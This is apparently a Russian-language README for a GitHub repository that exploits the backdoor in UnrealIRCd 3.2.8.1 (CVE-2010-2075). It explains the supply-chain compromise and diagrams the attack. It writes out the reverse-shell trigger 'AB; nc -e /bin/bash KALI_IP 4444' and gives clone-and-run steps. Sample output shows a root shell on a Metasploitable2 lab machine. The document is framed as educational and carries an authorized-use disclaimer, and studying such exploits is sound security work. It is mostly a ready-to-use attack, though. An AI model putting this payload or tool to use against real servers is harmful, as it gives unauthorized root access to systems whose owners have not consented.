Эксплойт бэкдора UnrealIRCd 3.2.8.1 — обратная оболочка через AB; триггер, написанный с нуля на Python с использованием сырых сокетов. Без Metasploit.
UnrealIRCd — это IRC-сервер (Internet Relay Chat) с открытым исходным кодом — протокол, позволяющий пользователям общаться в реальном времени по сети, подобно ранним чат-платформам.
В 2009–2010 годах было обнаружено, что UnrealIRCd 3.2.8.1, распространявшийся через официальные зеркала загрузки, был скомпрометирован. Злоумышленник заменил легитимный исходный код на версию с бэкдором, содержащую скрытый триггер выполнения команд.
Это была атака на цепочку поставок — по своей природе идентичная CVE-2011-2523 (vsftpd 2.3.4). Легитимное программное обеспечение было заменено вредоносной модифицированной версией до того, как пользователи его скачали.
Бэкдор отслеживает все входящие данные на порту 6667. Если любой ввод начинается со
строки AB;, всё, что идёт после неё, передаётся —
полностью минуя всю логику IRC, аутентификацию и проверки регистрации.
system()Триггер срабатывает на этапе инициализации соединения, ещё до того, как IRC-сервер зарегистрирует клиента. Ни NICK, ни USER, ни аутентификация не требуются.
Схема атаки:
Attacker (Kali) Target (Metasploitable2)
1. s1 connects to port 6667
NICK + USER handshake → Server sends full banner
Read banner, check version
Confirm Unreal3.2.8.1
2. Open listener on port 4444
(waiting for incoming shell)
3. s2 connects to port 6667 → AB; nc -e /bin/bash KALI_IP 4444
→ system() executes immediately
→ netcat spawns bash, connects back
4. listener.accept() ← Incoming root shell connection
Interactive root shell
Этот эксплойт использует обратную оболочку — цель сама подключается обратно к атакующему, а не атакующий подключается к порту на цели.
| Тип | Направление | Используется в |
|---|---|---|
| Bind shell | Атакующий → Цель | CVE-2011-2523 (vsftpd) |
| Reverse shell | Цель → Атакующий | CVE-2010-2075 (UnrealIRCd) |
Обратные оболочки обходят правила входящего межсетевого экрана — исходящие соединения от цели блокируются редко.
netcat, установленный на цели (присутствует по умолчанию на Metasploitable2)git clone https://github.com/rushikesh-a-bhujbal/CVE-2010-2075.git
cd exploit-dev/CVE-2010-2075
Отредактируйте main.py и задайте:
kali_ip = "YOUR_KALI_IP"
target_ip = "TARGET_IP"
Запустите:
python3 main.py
Пример вывода:
[+] Vulnerable version confirmed. Proceeding...
[*] Listening on port 4444...
[+] Shell received from ('192.168.15.132', 58280)
> whoami
root
> uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008
> pwd
/etc/unreal
> exit
| Сценарий | Поведение |
|---|---|
| Порт 6667 закрыт | Выводит "Port Closed", корректно завершается |
| Неверная версия | Выводит "Not vulnerable", корректно завершается |
| Цель не перезванивает | listener.accept() ожидает (при необходимости добавьте таймаут) |
| Команда не даёт вывода | recv() молча истекает по таймауту, возвращается к приглашению |
| CVE-2011-2523 (vsftpd) | CVE-2010-2075 (UnrealIRCd) | |
|---|---|---|
| Протокол | FTP (порт 21) | IRC (порт 6667) |
| Триггер | :) в имени пользователя | Префикс AB; в любом вводе |
| Тип оболочки | Bind shell (порт 6200) | Reverse shell (порт атакующего) |
| Соединения | 2 исходящих | 1 исходящее + 1 входящее |
Этот эксплойт разработан строго в образовательных целях и только для авторизованных исследований в области безопасности.
Создан и протестирован исключительно на локальной виртуальной машине Metasploitable2 в полностью изолированной лабораторной среде.
Не используйте его против любой системы, которой вы не владеете или на тестирование которой у вас нет явного письменного разрешения. Неавторизованное использование незаконно в соответствии с Computer Fraud and Abuse Act (CFAA) и аналогичными законами по всему миру.
Автор не несёт ответственности за неправомерное использование этого кода.
Rushikesh Bhujbal
Security Research & Exploit Development
GitHub